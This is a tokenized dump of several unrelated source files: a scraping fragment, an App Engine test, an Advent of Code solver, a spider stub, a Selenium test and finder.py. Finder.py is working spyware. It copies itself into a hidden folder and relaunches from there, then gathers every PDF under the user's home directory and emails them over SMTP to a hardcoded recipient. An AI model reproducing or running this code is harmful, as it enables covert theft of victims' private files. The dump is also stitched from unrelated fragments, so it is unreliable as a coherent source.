12205,
13,
1272,
29922,
10518,
29889,
17271,
29898,
1761,
29898,
7554,
29898,
9057,
29918,
3257,
29892,
5001,
29892,
4423,
29892,
16742,
29918,
1256,
29892,
15576,
1934,
29918,
2798,
29892,
4982,
29918,
8216,
29892,
4982,
29918,
4881,
1611,
537,
29918,
5563,
29892,
13,
462,
9651,
5703,
358,
29918,
1853,
29892,
13661,
29892,
4982,
29918,
2220,
8243,
13,
462,
259,
4341,
29922,
1839,
9057,
29918,
3257,
742,
525,
14518,
742,
525,
5479,
742,
525,
2490,
292,
29918,
1256,
742,
525,
932,
506,
1934,
29918,
2798,
742,
525,
9057,
29918,
8216,
742,
525,
9057,
29918,
4881,
1611,
537,
29918,
5563,
742,
13,
462,
9651,
525,
3451,
22812,
29918,
1853,
742,
525,
20041,
719,
742,
525,
9057,
29918,
2220,
11287,
13,
13,
13,
29937,
512,
29961,
29906,
29946,
29945,
5387,
13,
13,
13,
1272,
29889,
3888,
580,
13,
13,
13,
29937,
512,
29961,
29906,
29900,
29900,
5387,
13,
13,
13,
29937,
4982,
3611,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
1990,
29918,
978,
703,
3332,
7543,
1649,
3257,
2564,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29929,
29947,
5387,
13,
13,
13,
29937,
5001,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
1990,
29918,
978,
877,
3332,
7543,
1649,
29888,
4112,
272,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29900,
29955,
5387,
13,
13,
13,
29937,
4982,
4423,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29906,
16261,
4563,
29961,
29896,
16261,
4563,
29961,
29896,
16261,
29882,
29941,
29961,
29896,
16261,
9653,
29961,
29906,
29962,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29896,
29900,
5387,
13,
13,
13,
29937,
16742,
2635,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29906,
16261,
4563,
29961,
29896,
16261,
4563,
29961,
29896,
16261,
29882,
29941,
29961,
29906,
16261,
9653,
29961,
29896,
29962,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29896,
29906,
5387,
13,
13,
13,
29937,
1353,
310,
15576,
1934,
13,
29937,
29878,
524,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29906,
16261,
4563,
29961,
29896,
16261,
4563,
29961,
29896,
16261,
29882,
29941,
29961,
29906,
16261,
9653,
29961,
29906,
29962,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29896,
29941,
5387,
13,
13,
13,
29937,
6139,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
4563,
29914,
2042,
29914,
4563,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29906,
29900,
29953,
5387,
13,
13,
13,
29937,
4982,
29918,
4881,
1611,
537,
29918,
5563,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29896,
16261,
9653,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29896,
29946,
5387,
13,
13,
13,
29937,
5703,
358,
29918,
1853,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29906,
16261,
9653,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29896,
29929,
5387,
13,
13,
13,
29937,
4982,
29918,
2220,
13,
1454,
321,
297,
29898,
9465,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29941,
16261,
9653,
8785,
29901,
13,
1678,
1596,
29898,
29872,
29889,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29946,
29945,
5387,
13,
13,
13,
29937,
1688,
29922,
2636,
13,
29937,
1688,
29889,
4397,
29898,
17469,
29898,
6891,
29889,
17685,
29892,
13,
29937,
539,
17288,
29872,
29889,
726,
29974,
9162,
16521,
363,
321,
297,
7156,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29941,
16261,
9653,
1495,
12622,
13,
13,
13,
29937,
512,
29961,
29896,
29946,
29953,
5387,
13,
13,
13,
1688,
13,
13,
13,
29937,
512,
29961,
29896,
29906,
29900,
5387,
13,
13,
13,
29937,
13661,
13,
29937,
2158,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29946,
16261,
9653,
2824,
726,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29900,
5387,
13,
13,
13,
29937,
9057,
29918,
7543,
353,
7156,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
1990,
29918,
978,
703,
9902,
1649,
16432,
29899,
1493,
1159,
13,
13,
13,
29937,
512,
29961,
29896,
29946,
29955,
5387,
13,
13,
13,
29937,
1454,
321,
297,
4982,
29918,
7543,
29901,
13,
29937,
1678,
1596,
29898,
29872,
29889,
726,
29897,
13,
13,
13,
29937,
512,
29961,
4514,
29901,
13,
13,
13,
29937,
278,
1492,
8367,
29892,
29871,
17643,
29899,
4478,
4982,
4902,
5639,
13,
29937,
2587,
1405,
1933,
29889,
6214,
29899,
449,
1026,
1405,
1933,
29889,
23055,
29899,
449,
1026,
1405,
1933,
29889,
9057,
29899,
4478,
29899,
1062,
1405,
1933,
1405,
1933,
1405,
4004,
29889,
9057,
29879,
29899,
4478,
1649,
1266,
29899,
336,
309,
1405,
1933,
13,
13,
13,
29937,
512,
29961,
4514,
29901,
13,
13,
13,
29937,
278,
2224,
363,
278,
4839,
13,
13,
29937,
29914,
1420,
29914,
2587,
29914,
3396,
29914,
4563,
29914,
2042,
29961,
29906,
16261,
352,
29914,
492,
29961,
29896,
16261,
29874,
13,
13,
13,
29937,
512,
29961,
4514,
29901,
13,
13,
13,
29937,
278,
1510,
901,
4434,
988,
3573,
338,
5982,
13,
29937,
29914,
1420,
29914,
2587,
29914,
3396,
29914,
2042,
29914,
4563,
29961,
29906,
16261,
2042,
29961,
29906,
16261,
4563,
29914,
2042,
29914,
4563,
13,
13,
2
] |
appengine/components/tests/datastore_utils_properties_test.py | pombreda/swarming | 0 | 3870 | <filename>appengine/components/tests/datastore_utils_properties_test.py
#!/usr/bin/env python
# Copyright 2014 The Swarming Authors. All rights reserved.
# Use of this source code is governed by the Apache v2.0 license that can be
# found in the LICENSE file.
import sys
import unittest
import test_env
test_env.setup_test_env()
from google.appengine.ext import ndb
from components.datastore_utils import properties
from support import test_case
class BP(ndb.Model):
prop = properties.BytesComputedProperty(lambda _: '\x00')
class DJP(ndb.Model):
prop = properties.DeterministicJsonProperty(json_type=dict)
class PropertiesTest(test_case.TestCase):
def test_DeterministicJsonProperty(self):
self.assertEqual({'a': 1}, DJP(prop={'a': 1}).prop)
DJP(prop={'a': 1}).put()
self.assertEqual({'a': 1}, DJP.query().get().prop)
with self.assertRaises(TypeError):
DJP(prop=[])
def test_BytesComputedProperty(self):
self.assertEqual('\x00', BP().prop)
BP().put()
self.assertEqual('\x00', BP.query().get().prop)
if __name__ == '__main__':
if '-v' in sys.argv:
unittest.TestCase.maxDiff = None
unittest.main()
| [
1,
529,
9507,
29958,
932,
10599,
29914,
14036,
29914,
21150,
29914,
4130,
579,
487,
29918,
13239,
29918,
11330,
29918,
1688,
29889,
2272,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29946,
450,
3925,
2817,
292,
13189,
943,
29889,
2178,
10462,
21676,
29889,
13,
29937,
4803,
310,
445,
2752,
775,
338,
4095,
287,
491,
278,
13380,
325,
29906,
29889,
29900,
19405,
393,
508,
367,
13,
29937,
1476,
297,
278,
365,
2965,
1430,
1660,
934,
29889,
13,
13,
5215,
10876,
13,
5215,
443,
27958,
13,
13,
5215,
1243,
29918,
6272,
13,
1688,
29918,
6272,
29889,
14669,
29918,
1688,
29918,
6272,
580,
13,
13,
3166,
5386,
29889,
932,
10599,
29889,
1062,
1053,
29871,
299,
29890,
13,
13,
3166,
7117,
29889,
4130,
579,
487,
29918,
13239,
1053,
4426,
13,
3166,
2304,
1053,
1243,
29918,
4878,
13,
13,
13,
1990,
350,
29925,
29898,
299,
29890,
29889,
3195,
1125,
13,
29871,
3107,
353,
4426,
29889,
11207,
20606,
287,
4854,
29898,
2892,
903,
29901,
11297,
29916,
29900,
29900,
1495,
13,
13,
13,
1990,
23366,
29925,
29898,
299,
29890,
29889,
3195,
1125,
13,
29871,
3107,
353,
4426,
29889,
6362,
837,
262,
4695,
8148,
4854,
29898,
3126,
29918,
1853,
29922,
8977,
29897,
13,
13,
13,
1990,
21582,
3057,
29898,
1688,
29918,
4878,
29889,
3057,
8259,
1125,
13,
29871,
822,
1243,
29918,
6362,
837,
262,
4695,
8148,
4854,
29898,
1311,
1125,
13,
1678,
1583,
29889,
9294,
9843,
3319,
29915,
29874,
2396,
29871,
29896,
1118,
23366,
29925,
29898,
7728,
3790,
29915,
29874,
2396,
29871,
29896,
7690,
7728,
29897,
13,
13,
1678,
23366,
29925,
29898,
7728,
3790,
29915,
29874,
2396,
29871,
29896,
7690,
649,
580,
13,
1678,
1583,
29889,
9294,
9843,
3319,
29915,
29874,
2396,
29871,
29896,
1118,
23366,
29925,
29889,
1972,
2141,
657,
2141,
7728,
29897,
13,
13,
1678,
411,
1583,
29889,
9294,
29934,
1759,
267,
29898,
1542,
2392,
1125,
13,
418,
23366,
29925,
29898,
7728,
11759,
2314,
13,
13,
29871,
822,
1243,
29918,
11207,
20606,
287,
4854,
29898,
1311,
1125,
13,
1678,
1583,
29889,
9294,
9843,
28909,
29916,
29900,
29900,
742,
350,
29925,
2141,
7728,
29897,
13,
1678,
350,
29925,
2141,
649,
580,
13,
1678,
1583,
29889,
9294,
9843,
28909,
29916,
29900,
29900,
742,
350,
29925,
29889,
1972,
2141,
657,
2141,
7728,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
29871,
565,
17411,
29894,
29915,
297,
10876,
29889,
19218,
29901,
13,
1678,
443,
27958,
29889,
3057,
8259,
29889,
3317,
26023,
353,
6213,
13,
29871,
443,
27958,
29889,
3396,
580,
13,
2
] |
day08.py | Pil0u/adventofcode2020 | 0 | 323 | <filename>day08.py
from copy import deepcopy
def boot(seq):
index = 0
played_indices = set()
acc = 0
while True:
if index == len(seq):
return True, acc
if index in played_indices:
return False, acc
played_indices.add(index)
line = seq[index].split()
op = line[0]
value = int(line[1])
if op == 'nop':
index += 1
if op == 'acc':
acc += value
index += 1
if op == 'jmp':
index += value
def generate_sequences(list_):
all_seqs = []
for idx, value in enumerate(list_):
if value[:3] == 'nop':
seq = deepcopy(list_)
seq[idx] = 'jmp' + value[3:]
all_seqs.append(seq)
if value[:3] == 'jmp':
seq = deepcopy(list_)
seq[idx] = 'nop' + value[3:]
all_seqs.append(seq)
return all_seqs
def result(input_):
# Part 1
part_one = boot(input_)[1]
# Part 2
all_sequences = generate_sequences(input_)
for sequence in all_sequences:
result = boot(sequence)
if result[0] is not False:
part_two = result[1]
break
return part_one, part_two
| [
1,
529,
9507,
29958,
3250,
29900,
29947,
29889,
2272,
13,
3166,
3509,
1053,
6483,
8552,
13,
13,
1753,
6579,
29898,
11762,
1125,
13,
1678,
2380,
353,
29871,
29900,
13,
1678,
5318,
29918,
513,
1575,
353,
731,
580,
13,
13,
1678,
1035,
353,
29871,
29900,
13,
13,
1678,
1550,
5852,
29901,
13,
4706,
565,
2380,
1275,
7431,
29898,
11762,
1125,
13,
9651,
736,
5852,
29892,
1035,
13,
13,
4706,
565,
2380,
297,
5318,
29918,
513,
1575,
29901,
13,
9651,
736,
7700,
29892,
1035,
13,
13,
4706,
5318,
29918,
513,
1575,
29889,
1202,
29898,
2248,
29897,
13,
13,
4706,
1196,
353,
19359,
29961,
2248,
1822,
5451,
580,
13,
4706,
1015,
353,
1196,
29961,
29900,
29962,
13,
4706,
995,
353,
938,
29898,
1220,
29961,
29896,
2314,
13,
13,
4706,
565,
1015,
1275,
525,
29876,
459,
2396,
13,
9651,
2380,
4619,
29871,
29896,
13,
13,
4706,
565,
1015,
1275,
525,
5753,
2396,
13,
9651,
1035,
4619,
995,
13,
9651,
2380,
4619,
29871,
29896,
13,
13,
4706,
565,
1015,
1275,
525,
29926,
1526,
2396,
13,
9651,
2380,
4619,
995,
13,
13,
1753,
5706,
29918,
6831,
2063,
29898,
1761,
29918,
1125,
13,
1678,
599,
29918,
11762,
29879,
353,
5159,
13,
13,
1678,
363,
22645,
29892,
995,
297,
26985,
29898,
1761,
29918,
1125,
13,
13,
4706,
565,
995,
7503,
29941,
29962,
1275,
525,
29876,
459,
2396,
13,
9651,
19359,
353,
6483,
8552,
29898,
1761,
19925,
13,
9651,
19359,
29961,
13140,
29962,
353,
525,
29926,
1526,
29915,
718,
995,
29961,
29941,
17531,
13,
9651,
599,
29918,
11762,
29879,
29889,
4397,
29898,
11762,
29897,
13,
13,
4706,
565,
995,
7503,
29941,
29962,
1275,
525,
29926,
1526,
2396,
13,
9651,
19359,
353,
6483,
8552,
29898,
1761,
19925,
13,
9651,
19359,
29961,
13140,
29962,
353,
525,
29876,
459,
29915,
718,
995,
29961,
29941,
17531,
13,
9651,
599,
29918,
11762,
29879,
29889,
4397,
29898,
11762,
29897,
13,
13,
1678,
736,
599,
29918,
11762,
29879,
13,
13,
13,
1753,
1121,
29898,
2080,
29918,
1125,
13,
1678,
396,
3455,
29871,
29896,
13,
1678,
760,
29918,
650,
353,
6579,
29898,
2080,
29918,
9601,
29896,
29962,
13,
13,
1678,
396,
3455,
29871,
29906,
13,
1678,
599,
29918,
6831,
2063,
353,
5706,
29918,
6831,
2063,
29898,
2080,
19925,
13,
1678,
363,
5665,
297,
599,
29918,
6831,
2063,
29901,
13,
4706,
1121,
353,
6579,
29898,
16506,
29897,
13,
308,
13,
4706,
565,
1121,
29961,
29900,
29962,
338,
451,
7700,
29901,
13,
9651,
760,
29918,
10184,
353,
1121,
29961,
29896,
29962,
13,
9651,
2867,
13,
13,
1678,
736,
760,
29918,
650,
29892,
760,
29918,
10184,
13,
2
] |
data_collection/gazette/spiders/sc_laguna.py | kaiocp/querido-diario | 454 | 1616433 | from gazette.spiders.base.fecam import FecamGazetteSpider
class ScLagunaSpider(FecamGazetteSpider):
name = "sc_laguna"
FECAM_QUERY = "cod_entidade:146"
TERRITORY_ID = "4209409"
| [
1,
515,
12642,
2353,
29889,
1028,
11376,
29889,
3188,
29889,
29888,
687,
314,
1053,
383,
687,
314,
29954,
834,
2353,
5592,
1241,
13,
13,
13,
1990,
2522,
29931,
351,
4347,
5592,
1241,
29898,
29943,
687,
314,
29954,
834,
2353,
5592,
1241,
1125,
13,
1678,
1024,
353,
376,
1557,
29918,
3110,
4347,
29908,
13,
1678,
383,
11206,
5194,
29918,
13356,
24422,
353,
376,
19284,
29918,
296,
5558,
29901,
29896,
29946,
29953,
29908,
13,
1678,
323,
21662,
1806,
18929,
29918,
1367,
353,
376,
29946,
29906,
29900,
29929,
29946,
29900,
29929,
29908,
13,
2
] |
finder.py | giuseppebrb/Pynder | 3 | 23389 | <gh_stars>1-10
import os
import fnmatch
import smtplib
import email.mime.application
import sys
import subprocess
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from pathlib import Path
home = str(Path.home()) # Return a string representing the user’s home directory
fileFound = 0 # Number of files found while discovering
fileScanned = 0 # Number of the already processed files
maxSize = 23068672 # Attachments bytes limit for the mail host (22MB in byte, but it can be changed)
actualSizeCounter = 0 # Bytes count for files already attached to the email
paths = [] # List of files directories, matching the pattern, that will be print into the email body
# Following values need to be changed
email_user = "SENDER-ADDRESS-HERE"
email_pwd = "<PASSWORD>"
recipient = "RECIPIENT-ADDRESS-HERE"
"""
This function will return a list of strings which represents the files path with the specified extension inside the
specified path
"""
def find(pattern, path):
result = []
for root, dirs, files in os.walk(path):
for name in files:
if fnmatch.fnmatch(name, pattern):
result.append(os.path.join(root, name))
return result
"""
__________ START - It may NOT work on MacOS __________
| |
"""
injecting_folder = home+'\\script' # 'Injecting' folder
if not os.path.exists(injecting_folder):
os.system("mkdir %s" % injecting_folder)
executableLocation = find('EXECUTABLE-NAME-HERE.exe', os.path.dirname(os.path.abspath(__file__)))
# Create a new 'injecting' folder where software will copy itself
if not os.path.isfile(injecting_folder + "\\EXECUTABLE-NAME-HERE.exe"):
os.system("xcopy {!s} {!s} /R".format(executableLocation[0], injecting_folder))
# If current working directory is not the 'injecting' folder opens a new instance from there and close this one.
if os.getcwd() != injecting_folder:
os.chdir(injecting_folder)
subprocess.Popen([injecting_folder+'\\EXECUTABLE-NAME-HERE.exe'], stdin=None, stdout=None, stderr=None)
sys.exit()
"""
|__________ END - It may NOT work on MacOS __________|
"""
filesFound = find("*.pdf", home) # List of every pdf file found in every folder starting from the user's home directory
# Building the email structure
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = recipient
msg['Subject'] = "Files Found"
for f in filesFound:
fp = open(r'%s' % f, 'rb')
att = email.mime.application.MIMEApplication(fp.read())
fp.close()
paths.append("Directory: " + f)
att.add_header('Content-Disposition', 'attachment; filename="%s"' % f)
msg.attach(att)
for p in paths:
msg.attach(MIMEText(p, 'plain'))
# Open the connection with mail host with specified credentials
server = smtplib.SMTP('smtp.gmail.com', 587) # These values are just an example working with Gmail, you need to change
# them with your own host's SMTP address and port
server.ehlo()
server.starttls() # Starts a secure tls connection
server.login(email_user, email_pwd)
email_body = msg.as_string()
server.sendmail(email_user, recipient, email_body) # Send the email
server.quit() # Close the connection with host
sys.exit() # Quit program
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
2897,
13,
5215,
7876,
4352,
13,
5215,
1560,
9392,
1982,
13,
5215,
4876,
29889,
29885,
603,
29889,
6214,
13,
5215,
10876,
13,
5215,
1014,
5014,
13,
3166,
4876,
29889,
29885,
603,
29889,
18056,
442,
1053,
341,
8890,
6857,
27494,
13,
3166,
4876,
29889,
29885,
603,
29889,
726,
1053,
341,
8890,
1626,
13,
3166,
2224,
1982,
1053,
10802,
13,
13,
13,
5184,
353,
851,
29898,
2605,
29889,
5184,
3101,
29871,
396,
7106,
263,
1347,
15783,
278,
1404,
30010,
29879,
3271,
3884,
13,
1445,
9692,
353,
29871,
29900,
29871,
396,
9681,
310,
2066,
1476,
1550,
6523,
292,
13,
1445,
4421,
11310,
353,
29871,
29900,
29871,
396,
9681,
310,
278,
2307,
19356,
2066,
13,
3317,
3505,
353,
29871,
29906,
29941,
29900,
29953,
29947,
29953,
29955,
29906,
29871,
396,
6212,
496,
1860,
6262,
4046,
363,
278,
10524,
3495,
313,
29906,
29906,
9486,
297,
7023,
29892,
541,
372,
508,
367,
3939,
29897,
13,
19304,
3505,
17779,
353,
29871,
29900,
29871,
396,
2648,
2167,
2302,
363,
2066,
2307,
10959,
304,
278,
4876,
13,
24772,
353,
5159,
29871,
396,
2391,
310,
2066,
17525,
29892,
9686,
278,
4766,
29892,
393,
674,
367,
1596,
964,
278,
4876,
3573,
13,
13,
29937,
12206,
1819,
817,
304,
367,
3939,
13,
5269,
29918,
1792,
353,
376,
29903,
1430,
8032,
29899,
17744,
26785,
29899,
5006,
29908,
13,
5269,
29918,
29886,
9970,
353,
9872,
25711,
17013,
11903,
13,
4361,
29886,
993,
353,
376,
1525,
8426,
2227,
3919,
29899,
17744,
26785,
29899,
5006,
29908,
13,
13,
15945,
29908,
13,
4013,
740,
674,
736,
263,
1051,
310,
6031,
607,
11524,
278,
2066,
2224,
411,
278,
6790,
6081,
2768,
278,
29871,
13,
6550,
2164,
2224,
13,
15945,
29908,
13,
13,
13,
1753,
1284,
29898,
11037,
29892,
2224,
1125,
13,
1678,
1121,
353,
5159,
13,
1678,
363,
3876,
29892,
4516,
29879,
29892,
2066,
297,
2897,
29889,
20919,
29898,
2084,
1125,
13,
4706,
363,
1024,
297,
2066,
29901,
13,
9651,
565,
7876,
4352,
29889,
9144,
4352,
29898,
978,
29892,
4766,
1125,
13,
18884,
1121,
29889,
4397,
29898,
359,
29889,
2084,
29889,
7122,
29898,
4632,
29892,
1024,
876,
13,
1678,
736,
1121,
13,
13,
15945,
29908,
13,
903,
14365,
29918,
6850,
8322,
448,
739,
1122,
6058,
664,
373,
4326,
3267,
903,
14365,
29918,
13,
29989,
462,
462,
462,
418,
891,
13,
15945,
29908,
13,
21920,
292,
29918,
12083,
353,
3271,
23097,
1966,
2154,
29915,
29871,
396,
525,
28329,
292,
29915,
4138,
13,
361,
451,
2897,
29889,
2084,
29889,
9933,
29898,
21920,
292,
29918,
12083,
1125,
13,
1678,
2897,
29889,
5205,
703,
11256,
3972,
1273,
29879,
29908,
1273,
11658,
292,
29918,
12083,
29897,
13,
13,
4258,
9246,
6508,
353,
1284,
877,
5746,
11206,
2692,
6181,
29899,
5813,
29899,
5006,
29889,
8097,
742,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
22168,
1445,
1649,
4961,
13,
29937,
6204,
263,
716,
525,
21920,
292,
29915,
4138,
988,
7047,
674,
3509,
3528,
13,
361,
451,
2897,
29889,
2084,
29889,
275,
1445,
29898,
21920,
292,
29918,
12083,
718,
376,
1966,
5746,
11206,
2692,
6181,
29899,
5813,
29899,
5006,
29889,
8097,
29908,
1125,
13,
1678,
2897,
29889,
5205,
703,
29916,
8552,
426,
29991,
29879,
29913,
426,
29991,
29879,
29913,
847,
29934,
1642,
4830,
29898,
4258,
9246,
6508,
29961,
29900,
1402,
11658,
292,
29918,
12083,
876,
13,
13,
29937,
960,
1857,
1985,
3884,
338,
451,
278,
525,
21920,
292,
29915,
4138,
13246,
263,
716,
2777,
515,
727,
322,
3802,
445,
697,
29889,
13,
361,
2897,
29889,
657,
29883,
9970,
580,
2804,
11658,
292,
29918,
12083,
29901,
13,
1678,
2897,
29889,
305,
3972,
29898,
21920,
292,
29918,
12083,
29897,
13,
1678,
1014,
5014,
29889,
29925,
3150,
4197,
21920,
292,
29918,
12083,
23097,
1966,
5746,
11206,
2692,
6181,
29899,
5813,
29899,
5006,
29889,
8097,
7464,
3659,
262,
29922,
8516,
29892,
27591,
29922,
8516,
29892,
380,
20405,
29922,
8516,
29897,
13,
1678,
10876,
29889,
13322,
580,
13,
15945,
29908,
13,
891,
14365,
1649,
11056,
448,
739,
1122,
6058,
664,
373,
4326,
3267,
903,
14365,
29918,
29989,
13,
15945,
29908,
13,
13,
5325,
9692,
353,
1284,
703,
10521,
5140,
613,
3271,
29897,
29871,
396,
2391,
310,
1432,
13552,
934,
1476,
297,
1432,
4138,
6257,
515,
278,
1404,
29915,
29879,
3271,
3884,
13,
13,
29937,
17166,
278,
4876,
3829,
13,
7645,
353,
341,
8890,
6857,
27494,
580,
13,
7645,
1839,
4591,
2033,
353,
4876,
29918,
1792,
13,
7645,
1839,
1762,
2033,
353,
23957,
993,
13,
7645,
1839,
20622,
2033,
353,
376,
10547,
7460,
29908,
13,
13,
13,
1454,
285,
297,
2066,
9692,
29901,
13,
1678,
285,
29886,
353,
1722,
29898,
29878,
29915,
29995,
29879,
29915,
1273,
285,
29892,
525,
6050,
1495,
13,
1678,
1098,
353,
4876,
29889,
29885,
603,
29889,
6214,
29889,
29924,
8890,
4873,
29898,
18091,
29889,
949,
3101,
13,
1678,
285,
29886,
29889,
5358,
580,
13,
1678,
10898,
29889,
4397,
703,
9882,
29901,
376,
718,
285,
29897,
13,
1678,
1098,
29889,
1202,
29918,
6672,
877,
3916,
29899,
4205,
3283,
742,
525,
14930,
358,
29936,
10422,
543,
29995,
29879,
29908,
29915,
1273,
285,
29897,
13,
1678,
10191,
29889,
14930,
29898,
1131,
29897,
13,
13,
1454,
282,
297,
10898,
29901,
13,
1678,
10191,
29889,
14930,
29898,
29924,
8890,
1626,
29898,
29886,
29892,
525,
24595,
8785,
13,
13,
29937,
4673,
278,
3957,
411,
10524,
3495,
411,
6790,
16140,
13,
2974,
353,
1560,
9392,
1982,
29889,
17061,
3557,
877,
3844,
9392,
29889,
21980,
29889,
510,
742,
29871,
29945,
29947,
29955,
29897,
29871,
396,
4525,
1819,
526,
925,
385,
1342,
1985,
411,
402,
2549,
29892,
366,
817,
304,
1735,
13,
29937,
963,
411,
596,
1914,
3495,
29915,
29879,
13766,
3557,
3211,
322,
2011,
13,
2974,
29889,
14797,
417,
580,
13,
2974,
29889,
2962,
29873,
3137,
580,
29871,
396,
624,
5708,
263,
11592,
260,
3137,
3957,
13,
2974,
29889,
7507,
29898,
5269,
29918,
1792,
29892,
4876,
29918,
29886,
9970,
29897,
13,
13,
5269,
29918,
2587,
353,
10191,
29889,
294,
29918,
1807,
580,
13,
2974,
29889,
6717,
2549,
29898,
5269,
29918,
1792,
29892,
23957,
993,
29892,
4876,
29918,
2587,
29897,
29871,
396,
15076,
278,
4876,
13,
2974,
29889,
28358,
580,
29871,
396,
23186,
278,
3957,
411,
3495,
13,
13,
9675,
29889,
13322,
580,
29871,
396,
751,
277,
1824,
13,
2
] |
BaseTest/click_button_chrome.py | lloydtawanda/AzurePriceListWebScrapper | 2 | 18314 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Jul 16 14:36:46 2019
@author: Tawanda
"""
import sys
import argparse
from selenium import webdriver
from selenium.common.exceptions import NoSuchElementException
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--driver", help="path to chrome driver")
args = parser.parse_args()
if not args.driver:
print("Please enter a valid path to the chrome driver ( --driver argument )")
sys.exit(1)
browser = webdriver.Chrome(executable_path=args.driver)
browser.implicitly_wait(10)
browser.maximize_window()
try:
browser.get('https://www.oursky.com/')
button = browser.find_element_by_class_name('btn-header')
button.click()
print('=======Button Click test was successful=======')
except NoSuchElementException as ex:
print(f'Error :: No such element : {ex}') | [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
20399,
373,
323,
434,
2739,
29871,
29896,
29953,
29871,
29896,
29946,
29901,
29941,
29953,
29901,
29946,
29953,
29871,
29906,
29900,
29896,
29929,
13,
13,
29992,
8921,
29901,
323,
1450,
5863,
13,
15945,
29908,
13,
5215,
10876,
13,
5215,
1852,
5510,
13,
3166,
18866,
1053,
1856,
9465,
13,
3166,
18866,
29889,
9435,
29889,
11739,
29879,
1053,
1939,
29903,
987,
2642,
2451,
13,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
268,
13,
1678,
13812,
353,
1852,
5510,
29889,
15730,
11726,
580,
13,
1678,
13812,
29889,
1202,
29918,
23516,
703,
489,
9465,
613,
1371,
543,
2084,
304,
16735,
7156,
1159,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
268,
13,
1678,
565,
451,
6389,
29889,
9465,
29901,
13,
4706,
1596,
703,
12148,
3896,
263,
2854,
2224,
304,
278,
16735,
7156,
313,
1192,
9465,
2980,
1723,
1159,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
268,
13,
1678,
4714,
353,
1856,
9465,
29889,
1451,
4871,
29898,
4258,
9246,
29918,
2084,
29922,
5085,
29889,
9465,
29897,
13,
1678,
4714,
29889,
6574,
4019,
368,
29918,
10685,
29898,
29896,
29900,
29897,
13,
1678,
4714,
29889,
27525,
675,
29918,
7165,
580,
13,
268,
13,
1678,
1018,
29901,
13,
4706,
4714,
29889,
657,
877,
991,
597,
1636,
29889,
473,
7912,
29889,
510,
29914,
1495,
13,
4706,
2826,
353,
4714,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
1990,
29918,
978,
877,
7290,
29899,
6672,
1495,
13,
4706,
2826,
29889,
3808,
580,
13,
4706,
1596,
877,
2751,
25512,
3125,
16297,
1243,
471,
9150,
2751,
25512,
1495,
13,
1678,
5174,
1939,
29903,
987,
2642,
2451,
408,
429,
29901,
13,
4706,
1596,
29898,
29888,
29915,
2392,
4761,
1939,
1316,
1543,
584,
426,
735,
29913,
1495,
2
] |
